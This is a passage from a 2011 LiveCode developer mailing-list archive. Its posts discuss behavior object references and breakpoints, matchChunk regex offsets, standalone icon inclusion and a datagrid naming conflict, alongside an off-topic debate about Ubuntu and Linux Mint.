1002 of stack "/Users/todd/Desktop/A.livecode" > > > it changes to this > > button id 1004 of stack "A" > > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Tue Dec 27 15:51:15 2011 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 27 Dec 2011 22:51:15 +0200 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <4EFA2C05.4050103@fourthworld.com> References: <4EFA2C05.4050103@fourthworld.com> Message-ID: <4EFA2FC3.1050604@gmail.com> On 12/27/2011 10:35 PM, Richard Gaskin wrote: > Bernard Devlin wrote: > >> I was so appalled by the latest Ubuntu, I switched to Mint. Ubuntu >> had become as slow as using Windows Vista. > > Is that with 11.10 or 11.04? > > When I first tried 11.04 it was slow, and I wound up staying with > 10.10 until 11.10 came out. But since I upgraded to 11.10 last month, > on my Core2 Duo laptop it runs very well. > > In terms of design, it's almost as big a departure from earlier > versions as OS X is from Mac OS 9. And as with my Mac experience, the > transition was a bit jarring at first, and I initially complained > about not being as productive. But with both OS X and Unity, the more > time I spend with the new system the more I like it. > > It seems a matter of taste, though. I know more than a few Mac users > who still prefer the design of OS 9, and it seems there are quite a > few Ubuntu users who prefer 10 over 11. > > But unlike the Mac world, at least us Linux users can choose which > environment we want to work in. :) > > >> No wonder Mint has taken off. Whilst the main charts in the link below >> are based on DistroWatch (arguably a sign of what cutting-edge linux >> users are up to), the chart further down the page showing Google search >> data indicates that the claim that Ubuntu is losing out to Mint has some >> basis. >> >> http://royal.pingdom.com/2011/11/23/ubuntu-linux-losing-popularity-fast-new-unity-interface-to-blame/ >> > > Respectfully, DistroWatch stats aren't a good measure of general > interest, for the reasons I detailed in this post in the Ubuntu forum: > > > In that post I also include Alexa site rankings, which show many times > more interest in Ubuntu than Mint, similar to the Google stats in the > article you linked to which also shows Ubuntu ranking much higher than > Mint. > > Mint's a great system, but in terms of overall popularity the factor > that affects the Linux world the most is that the average person > doesn't think of operating systems as something they can choose, but > simply uses whatever came with their computer. > > In 2011 the number of OEMs shipping computers with Ubuntu preinstalled > continued to grow. In addition to Dell, Asus, and others, there are > Linux-exclusive vendors like System 76 which offer only Ubuntu. Even > ZaReason, which offers Mint and others as options, has Ubuntu as their > default choice. My friend Aviv who runs LinuCity here in SoCal offers > a few systems with Mint preinstalled, but most of his line is Ubuntu. > > Being Ubuntu-based, Mint provides a great option for those who want > most of what Ubuntu offers but with the more traditional UI. > > But the Gnome Project killed Gnome 2 for a reason, And what, pray tell, was that; that it was popular? and Linux people like putting their feet in their mouth - I wonder. > and sooner or later we can expect most distros to be using either > Gnome 3/Shell or a variant like Unity. > > This transition from a Windows-like task bar to a Mac-like dock isn't > perfect in either the Gnome Shell or Unity implementations, but I feel > such evolution is inevitable for the continued growth of the platform. > > And best of all, it's Linux: we have plenty of choices to use any > distro, desktop environment, and tweaks we want to get exactly what we > most prefer. > > I used to lament the number of distros out there, but the more I spend > time with the Linux community the more I've come to appreciate the > strengths of such diversity. > > > PS: If anyone here is going to SCaLE 10x next month let's meet up > there - I'll be there all three days: > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Tue Dec 27 15:57:35 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 27 Dec 2011 12:57:35 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: <18B6FA5E-0D34-4A7C-B094-0A13D87B85E6@twft.com> References: <18B6FA5E-0D34-4A7C-B094-0A13D87B85E6@twft.com> Message-ID: <4EFA313F.2000107@fourthworld.com> Bob Sneidar wrote: > On Dec 27, 2011, at 12:28 PM, Todd Geist wrote: >> It starts as this >> >> button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" >> >> it changes to this >> >> button id 1004 of stack "A" > > That is still the long ID. Sort of. A true long ID includes the file path, but behaviors use a special form of that descriptor format with the short name of the stack, for portability as Todd surmised. This sort of "truncated long ID" is useful in other areas as well, and FWIW I submitted a request to have a "truncated" keyword added to return that value for object references: It's not too hard to write a function to do this, but since apparently the engine already does this for behaviors it would be handy to have it accessible to us in scripts. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From mwieder at ahsoftware.net Tue Dec 27 16:00:32 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 27 Dec 2011 21:00:32 +0000 (UTC) Subject: Case Study: Behaviors Failing - Can't set break points References: Message-ID: Todd Geist writes: > On a side note. I can't set a Behavior to any other then the Short > Reference. I set it with a Long ID including the path. But it is > immediately converted to the short "button id 1020 of stack behaviors" form That's known as the "rugged" id - it's got everything in the long id except for the file path to the stack. It's what behaviors are defined by. And it should be unique because LC will barf if you have two stacks by the same name in memory. -- Mark Wieder From pete at mollysrevenge.com Tue Dec 27 16:05:17 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 13:05:17 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: I hate using the long ID. The development and live versions of my behaviors are in two different stack files so dev work doesn't cause problems with live work. If I used the long form of the behavior references, I'd have to go and change all of them every time I put a new version of an application into the live environment. Using the stackFiles to fully dereference the behavior stack name means I only have to change the stackfiles setting to point to a different behavior stack file and I'm done. On Tue, Dec 27, 2011 at 12:05 PM, Bob Sneidar wrote: > Good point. The proper syntax *should* be > set the behavior of to the long id of button . > If the behavior script button is located on the first card of the stack the > object is in, then you can use shorter versions, but why risk it? In your > case, since the behavior is in a library, use the long ID. > > Bob > > > On Dec 27, 2011, at 11:23 AM, Pete wrote: > > > OK, not exactly the same issue I had but stackfiles might still help. If > > your behaviors don't use a fully qualified stack file name (eg button id > > 1020 of stack "Behaviors"), a stackfiles entry naming Behaviors and its > > fully qualified stackfile path enables LC to resolve the behavior > > references. Not sure if that's your situation but maybe that will help. > > Pete > > > > On Tue, Dec 27, 2011 at 10:47 AM, Todd Geist >wrote: > > > >> They are in the Library Stack itself not a substack. > >> > >> So you essentially injected the Library stack into the Main stack? > >> > >> On Tue, Dec 27, 2011 at 10:39 AM, Pete wrote: > >> > >>> Are the behavior buttons in the actual library stack or in a substack > of > >>> the library stack? I've run into a similar problem before and ending > >>> setting thew stackFiles property of the app's main stack to name the > >>> behavior stack. > >>> Pete > >>> > >> > >> Todd > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 27 16:09:35 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 13:09:35 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: <72158118-9ACF-4469-9912-1C0335102052@twft.com> Message-ID: That's interesting, I haven't come across that before, but I think you are on 5.0 so maybe they changed (or broke) something in that release. In those circumstances, it seems worth at least setting the stackfiles to "A,/Users/todd/Desktop/A.livecode" and see if that fixes the problem. On Tue, Dec 27, 2011 at 12:38 PM, Todd Geist wrote: > Yeah sorry see my other message > > It starts as this > > button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" > > > it changes to this > > button id 1004 of stack "A" > > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From mwieder at ahsoftware.net Tue Dec 27 16:12:19 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 27 Dec 2011 21:12:19 +0000 (UTC) Subject: Case Study: Behaviors Failing - Can't set break points References: Message-ID: Todd Geist writes: > And I can't set break points in the Behavior scripts. Just for the record, breakpoints work fine in behavior scripts. -- Mark Wieder From Mark_Smith at cpe.umanitoba.ca Tue Dec 27 16:26:39 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Tue, 27 Dec 2011 13:26:39 -0800 (PST) Subject: matchChunk question Message-ID: <1325021199922-4238281.post@n4.nabble.com> Hi, shouldn't the following place the start position and end position of the regular expression found in the input field into the output field? on mouseUp local startpos, endpos put fld"input" into tinput put "\" & quote & "v" & "\" & quote & ":" into tregularexpression put matchchunk(tinput, tregularexpression, startpos, endpos) into fld"output" put ", " & startpos & ", " & endpos after fld"output" end mouseUp What I am getting in output is: true, , With no start and end positions. Anyone see the error of my ways? Thanks -- Mark PS lc 5.0.2, on a Mac -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/matchChunk-question-tp4238281p4238281.html Sent from the Revolution - User mailing list archive at Nabble.com. From roger.e.eller at sealedair.com Tue Dec 27 16:38:46 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 27 Dec 2011 16:38:46 -0500 Subject: [OT] Re: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <4EF9B973.5040500@gmail.com> References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> <4EF8D0F5.4010706@gmail.com> <1324931930598-4235548.post@n4.nabble.com> <4EF9B973.5040500@gmail.com> Message-ID: On Tue, Dec 27, 2011 at 7:26 AM, Richmond wrote: > Well, I'm just about to hop on the plane for my annual visit to Britain > (which will include > dephlogisticating my parents' laptop, which was running Ubuntu 10.10, > which has gone > very "sour" since my Father couldn't resist clicking on distro-upgrade and > getting > b*ggered by Unity. I am, right now, wondering whether I should reinstall > Ubuntu 10.10 and > lock-down the upgrade option, or go for Mint 12 with MATE............ I'm playing around with a 10.10 variant that you may enjoy. It is pre-themed to be all Mac-like. The Live CD is in Spanish, but as always, you can choose any language when you install. If nothing else, it looks cool. Another variant of this is elementaryOS (designed for simplicity). http://darwinosx.blogspot.com/p/descarga-darwin-os.html http://www.youtube.com/watch?v=XsUJJlroz_k ?Roger From m.schonewille at economy-x-talk.com Tue Dec 27 16:40:40 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Tue, 27 Dec 2011 22:40:40 +0100 Subject: matchChunk question In-Reply-To: <1325021199922-4238281.post@n4.nabble.com> References: <1325021199922-4238281.post@n4.nabble.com> Message-ID: Hi Mark, You need to put the part of the regex that you want to know the start and end position of inside parantheses. In your case, this seems to be the entire regex. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 27 dec 2011, at 22:26, Mark Smith wrote: > Hi, shouldn't the following place the start position and end position of the > regular expression found in the input field into the output field? > > > on mouseUp > local startpos, endpos > put fld"input" into tinput > put "\" & quote & "v" & "\" & quote & ":" into tregularexpression > put matchchunk(tinput, tregularexpression, startpos, endpos) into > fld"output" > put ", " & startpos & ", " & endpos after fld"output" > end mouseUp > > > What I am getting in output is: true, , > > With no start and end positions. Anyone see the error of my ways? Thanks > > -- Mark > > PS lc 5.0.2, on a Mac From todd at geistinteractive.com Tue Dec 27 16:44:15 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 13:44:15 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: Hi Mark, On Tue, Dec 27, 2011 at 1:12 PM, Mark Wieder wrote: > > Just for the record, breakpoints work fine in behavior scripts. Yes, normally they work just fine. However I can reliably cause them stop working, by loading the object that use Behaviors before the Behaviors themselves. When this happens the link is sort of there as I described in my Original Post. You can't send reliably send messages, but you can see the behavior messages in some parts of the IDE. Another side effect of this half linked state is that you can't set break points in the Behavior Scripts. At least this is what I see in 5.0.2 Thanks Todd From ambassador at fourthworld.com Tue Dec 27 16:59:06 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 27 Dec 2011 13:59:06 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: <4EFA3FAA.6040506@fourthworld.com> Todd Geist wrote: > However I can reliably cause them stop working, by loading the object that > use Behaviors before the Behaviors themselves. Unless something changed/broke, any behavior assignment which refers to a behavior button not already in memory at the time the object which refers to its is first opened will not have the behavior resolved, and that behavior script will not be present in the message path. Accordingly, setting any breakpoints in the behavior script will not trigger, as the script isn't in play. If you find the script is in play under such circumstances, I'd like to learn how you did it. I've been wanting a way to resolve behaviors at arbitrary execution points rather than relying on stack opening, and have made this request for a new "resolve behaviors" command to do that: If you have a means of doing this with the engine as it is I definitely want to learn the secret. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From todd at geistinteractive.com Tue Dec 27 17:19:51 2011 From: todd at geistinteractive.com (Todd Geist) Date: Tue, 27 Dec 2011 14:19:51 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: <4EFA3FAA.6040506@fourthworld.com> References: <4EFA3FAA.6040506@fourthworld.com> Message-ID: On Tue, Dec 27, 2011 at 1:59 PM, Richard Gaskin wrote: > > If you find the script is in play under such circumstances, I'd like to > learn how you did it. > > I've been wanting a way to resolve behaviors at arbitrary execution points > rather than relying on stack opening, and have made this request for a new > "resolve behaviors" command to do that: > > > > Well I am not sure if I have what you are looking for. But I can tell you that I have behaviors in a sort of half linked state. They do not work BUT in the IDE if you control click on a such button with a broken behavior and select "Send Message" you will see the Handlers in the Behavior script. If you try to to send the message, it fails. My Behaviors are on the second card of a Library Stack. That was loaded into memory using "start using". It was not opened before the "start using". These Behaviors are loaded AFTER the stack that uses them. And it is this stack that has the broken behaviors. This makes sense since I am loading the behaviors too late. But the behaviors are in memory they are just not correctly linked to their child buttons any more. in my case I can fix these quite easily because all the broken buttons are on one card. I am using them for code only. I simply loop through the controls on the card and set the behavior of each control to itself. *On* ResetBeahviors *repeat* with i = 1 to the number of controls of me *put* the long id of control i of me into tControl *put* word 1 of the name of tControl into tType *if* tType = "button" *then* *set* the behavior of tControl to the behavior of tControl *end* *if* *end* *repeat* *end* ResetBeahviors Hope that helps Todd From Mark_Smith at cpe.umanitoba.ca Tue Dec 27 17:35:43 2011 From: Mark_Smith at cpe.umanitoba.ca (Mark Smith) Date: Tue, 27 Dec 2011 14:35:43 -0800 (PST) Subject: matchChunk question In-Reply-To: References: <1325021199922-4238281.post@n4.nabble.com> Message-ID: <1325025343411-4238428.post@n4.nabble.com> Thanks, worked perfectly. changing the expression to "(\" & quote & "v" & "\" & quote & ":)" resulted in true, 422, 425 in the output. What I am attempting to do is define a rather complicated item delimiter, in this case made up of the 4 char sequence "v": If I can define where this occurs I can break the input up into chunks. Best, -- Mark -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/matchChunk-question-tp4238281p4238428.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at mollysrevenge.com Tue Dec 27 17:45:00 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 14:45:00 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: <4EFA3FAA.6040506@fourthworld.com> Message-ID: Hi Todd, It's my understanding that the start using command makes the handlers in the stack script of the main stack available to your application. Nothing else, including behavior button scripts, are made available by issuing a start using command. No doubt someone will correct me if I'm wrong! This is very similar to the situation that I have where I have my behavior buttons on a card in a substack of the stack I name in my start using command. I remember tearing my hair out trying to figure out how to activate the behaviors and I honestly don't remember all the things I tried. All I know is that using the Stack Files tab of the main stack's Inspector palette to make a reference to the short name of my behavior substack resolve to the full path of it's main stack fixed the problem for me. I guess LC opens the stacks named in the stack files list when it first starts up, although you still have to use the start using command to make the main stack script handlers available to your application. I agree with Richard that the ability to issue a command that will resolve behaviors at any time would be great, kinda like inserting/removing front scripts. I voted for his enhancement request. On Tue, Dec 27, 2011 at 2:19 PM, Todd Geist wrote: > On Tue, Dec 27, 2011 at 1:59 PM, Richard Gaskin > wrote: > > > > If you find the script is in play under such circumstances, I'd like to > > learn how you did it. > > > > I've been wanting a way to resolve behaviors at arbitrary execution > points > > rather than relying on stack opening, and have made this request for a > new > > "resolve behaviors" command to do that: > > http://quality.runrev.com/show_bug.cgi?id=8993> > > > > > > > Well I am not sure if I have what you are looking for. But I can tell you > that I have behaviors in a sort of half linked state. They do not work BUT > in the IDE if you control click on a such button with a broken behavior and > select "Send Message" you will see the Handlers in the Behavior script. If > you try to to send the message, it fails. > > My Behaviors are on the second card of a Library Stack. That was loaded > into memory using "start using". It was not opened before the "start > using". These Behaviors are loaded AFTER the stack that uses them. And it > is this stack that has the broken behaviors. This makes sense since I am > loading the behaviors too late. But the behaviors are in memory they are > just not correctly linked to their child buttons any more. > > in my case I can fix these quite easily because all the broken buttons are > on one card. I am using them for code only. I simply loop through the > controls on the card and set the behavior of each control to itself. > > *On* ResetBeahviors > > *repeat* with i = 1 to the number of controls of me > > *put* the long id of control i of me into tControl > > *put* word 1 of the name of tControl into tType > > *if* tType = "button" *then* > > *set* the behavior of tControl to the behavior of tControl > > *end* *if* > > *end* *repeat* > > *end* ResetBeahviors > > > Hope that helps > > Todd > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Tue Dec 27 17:49:13 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 27 Dec 2011 16:49:13 -0600 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: References: Message-ID: <4EFA4B69.6070502@hyperactivesw.com> On 12/27/11 3:00 PM, Mark Wieder wrote: > Todd Geist writes: > >> On a side note. I can't set a Behavior to any other then the Short >> Reference. I set it with a Long ID including the path. But it is >> immediately converted to the short "button id 1020 of stack behaviors" form > > That's known as the "rugged" id I think it should be called the "short long ID". We also have room to add a "long short ID" if necessary. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Tue Dec 27 18:03:36 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 15:03:36 -0800 Subject: Trouble with button icon images In-Reply-To: <4EF8E069.6050501@hyperactivesw.com> References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> <4EF613A7.80004@hyperactivesw.com> <4EF8E069.6050501@hyperactivesw.com> Message-ID: Hi Jacque, I tried this out. The standalone has a substack named "revCopiedIcons". I added code to list the controls in that stack and it contained the standard icons for the answer command (information, error, warning, etc) plus the one icon I referenced in the Image library. So it appears the standalone builder is smart enough to include only the referenced icons. Pete On Mon, Dec 26, 2011 at 1:00 PM, J. Landman Gay wrote: > On 12/26/11 11:35 AM, Pete wrote: > >> HI Jacque, >> Just one more follow up to this. When the standalone is built, does it >> include all the images in the library or just the ones that are referenced >> in the application? The library I created has around 700 icons in it and >> I >> only use perhaps a dozen or so in any one application. >> > > I'm not sure how that would work, I always place the images so that the > library isn't used at all. I suppose the easiest thing would be for the > standalone builder to just include the whole library as a substack of your > mainstack. Copying them individually would change the IDs of the images. > > You could find out by building a small standalone with a button that uses > a referenced icon, and whose script answers the names of the substacks. I'm > a little curious myself what you'll find. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Tue Dec 27 18:16:29 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 27 Dec 2011 17:16:29 -0600 Subject: Trouble with button icon images In-Reply-To: References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> <4EF613A7.80004@hyperactivesw.com> <4EF8E069.6050501@hyperactivesw.com> Message-ID: <4EFA51CD.9050508@hyperactivesw.com> On 12/27/11 5:03 PM, Pete wrote: > Hi Jacque, > I tried this out. The standalone has a substack named "revCopiedIcons". I > added code to list the controls in that stack and it contained the standard > icons for the answer command (information, error, warning, etc) plus the > one icon I referenced in the Image library. So it appears the standalone > builder is smart enough to include only the referenced icons. > Pete That's great to know, thanks for trying it and reporting back. The SB is smarter than I thought. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Tue Dec 27 18:24:43 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 27 Dec 2011 23:24:43 +0000 (UTC) Subject: OT: How *not* to run a marketing campaign Message-ID: Quite the read: http://penny-arcade.com/resources/just-wow1.html -- Mark Wieder From bobs at twft.com Tue Dec 27 18:32:41 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 15:32:41 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: <4EFA313F.2000107@fourthworld.com> References: <18B6FA5E-0D34-4A7C-B094-0A13D87B85E6@twft.com> <4EFA313F.2000107@fourthworld.com> Message-ID: Ok, got it. NOW I know everything! I was just missing that little bit. ;-) Bob On Dec 27, 2011, at 12:57 PM, Richard Gaskin wrote: > Bob Sneidar wrote: > > > On Dec 27, 2011, at 12:28 PM, Todd Geist wrote: > >> It starts as this > >> > >> button id 1004 of card id 1002 of stack "/Users/todd/Desktop/A.livecode" > >> > >> it changes to this > >> > >> button id 1004 of stack "A" > > > > That is still the long ID. > > Sort of. A true long ID includes the file path, but behaviors use a special form of that descriptor format with the short name of the stack, for portability as Todd surmised. > > This sort of "truncated long ID" is useful in other areas as well, and FWIW I submitted a request to have a "truncated" keyword added to return that value for object references: > > > It's not too hard to write a function to do this, but since apparently the engine already does this for behaviors it would be handy to have it accessible to us in scripts. > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Tue Dec 27 18:37:40 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 15:37:40 -0800 Subject: Case Study: Behaviors Failing - Can't set break points In-Reply-To: <4EFA4B69.6070502@hyperactivesw.com> References: <4EFA4B69.6070502@hyperactivesw.com> Message-ID: How about the adequately lengthy ID? Bob On Dec 27, 2011, at 2:49 PM, J. Landman Gay wrote: > On 12/27/11 3:00 PM, Mark Wieder wrote: >> Todd Geist writes: >> >>> On a side note. I can't set a Behavior to any other then the Short >>> Reference. I set it with a Long ID including the path. But it is >>> immediately converted to the short "button id 1020 of stack behaviors" form >> >> That's known as the "rugged" id > > I think it should be called the "short long ID". We also have room to add a "long short ID" if necessary. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 27 19:06:56 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 16:06:56 -0800 Subject: Strange Datagrid Behavior In-Reply-To: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: I found the reason for this strange problem. The second datagrid mentioned in the original message was named "Columns". In desperation, I changed its name to something other than "Columns" and of course changed references to it and now all works fine. It appears that "Columns" is some sort of reserved word in the datagrid world, not too surprising I suppose. Pete On Tue, Dec 27, 2011 at 9:46 AM, Bob Sneidar wrote: > Delete the first datagrid and when it throws an error that is where > whatever code is referencing the first datagrid literally. > > It sounds at first blush like you set the behavior to something other than > the datagrid library, and then did some custom work with that behavior, > referring to the first datagrid literally somewhere in the behavior script. > > Alternately, you can try edit the script of the behavior of > mySecondDataGrid and then search for the name of the first datagrid. > > Bob > > > On Dec 26, 2011, at 5:28 PM, Pete wrote: > > > I have two datagrids on a card. When the user clicks on an option menu > on > > the card, the datagrids are populated with information in two different > > formats, at least that's what's supposed to happen. > > > > I do this by setting the dgText of each datagrid to the value of a > > variable. When I set the dgText of the first datagrid (stepping through > in > > debug), I see the correct data show up. When I set the dgText of the > > second datagrid, it appears in the first datagrid and the second datagrid > > remains empty!!!!!! The datagrids have different names. > > > > I have checked the row template property to make sure it has not somehow > > been set to the wrong datagrid but they are both correct. I have checked > > the value of the dgContorl property of each datagrid and it is correct > also. > > > > I will say that these datagrids have have a somewhat checkered past. > They > > originally existed on a different card than they reside on now, and all > > worked fine back in those good old days. For application design > reasons, I > > copied them (and a few other controls) from the original card to a > > different card and put them all into a group. That's when the problems > > started. > > > > Any ideas on how I might track down this strange behavior? > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 27 19:18:10 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 16:18:10 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: Yet another great argument for naming conventions! All my datagrids start with dg. Bob On Dec 27, 2011, at 4:06 PM, Pete wrote: > I found the reason for this strange problem. The second datagrid mentioned > in the original message was named "Columns". In desperation, I changed its > name to something other than "Columns" and of course changed references to > it and now all works fine. > > It appears that "Columns" is some sort of reserved word in the datagrid > world, not too surprising I suppose. > > Pete From pete at mollysrevenge.com Tue Dec 27 19:34:45 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 16:34:45 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: Just don;t call them dgColumn! On Tue, Dec 27, 2011 at 4:18 PM, Bob Sneidar wrote: > Yet another great argument for naming conventions! All my datagrids start > with dg. > > Bob > > > On Dec 27, 2011, at 4:06 PM, Pete wrote: > > > I found the reason for this strange problem. The second datagrid > mentioned > > in the original message was named "Columns". In desperation, I changed > its > > name to something other than "Columns" and of course changed references > to > > it and now all works fine. > > > > It appears that "Columns" is some sort of reserved word in the datagrid > > world, not too surprising I suppose. > > > > Pete > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 27 19:41:25 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 27 Dec 2011 16:41:25 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: Actually, now I see that there are around a dozen or so groups within the datagrid structure whose name starts with dg. Definitely a good idea to have naming conventions but dg might not be the best choice for datagrids, although it is the obvious one. On Tue, Dec 27, 2011 at 4:34 PM, Pete wrote: > Just don;t call them dgColumn! > > > On Tue, Dec 27, 2011 at 4:18 PM, Bob Sneidar wrote: > >> Yet another great argument for naming conventions! All my datagrids start >> with dg. >> >> Bob >> >> >> On Dec 27, 2011, at 4:06 PM, Pete wrote: >> >> > I found the reason for this strange problem. The second datagrid >> mentioned >> > in the original message was named "Columns". In desperation, I changed >> its >> > name to something other than "Columns" and of course changed references >> to >> > it and now all works fine. >> > >> > It appears that "Columns" is some sort of reserved word in the datagrid >> > world, not too surprising I suppose. >> > >> > Pete >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > > > -- Pete Molly's Revenge From bobs at twft.com Tue Dec 27 19:52:22 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 27 Dec 2011 16:52:22 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: Yeah I don't think they have a group called "dgAltData" :-) I try to pick obscure names for all my objects for this very reason. Still... it might explain why every time I try to populate this one datagrid I get a shock through the mouse. 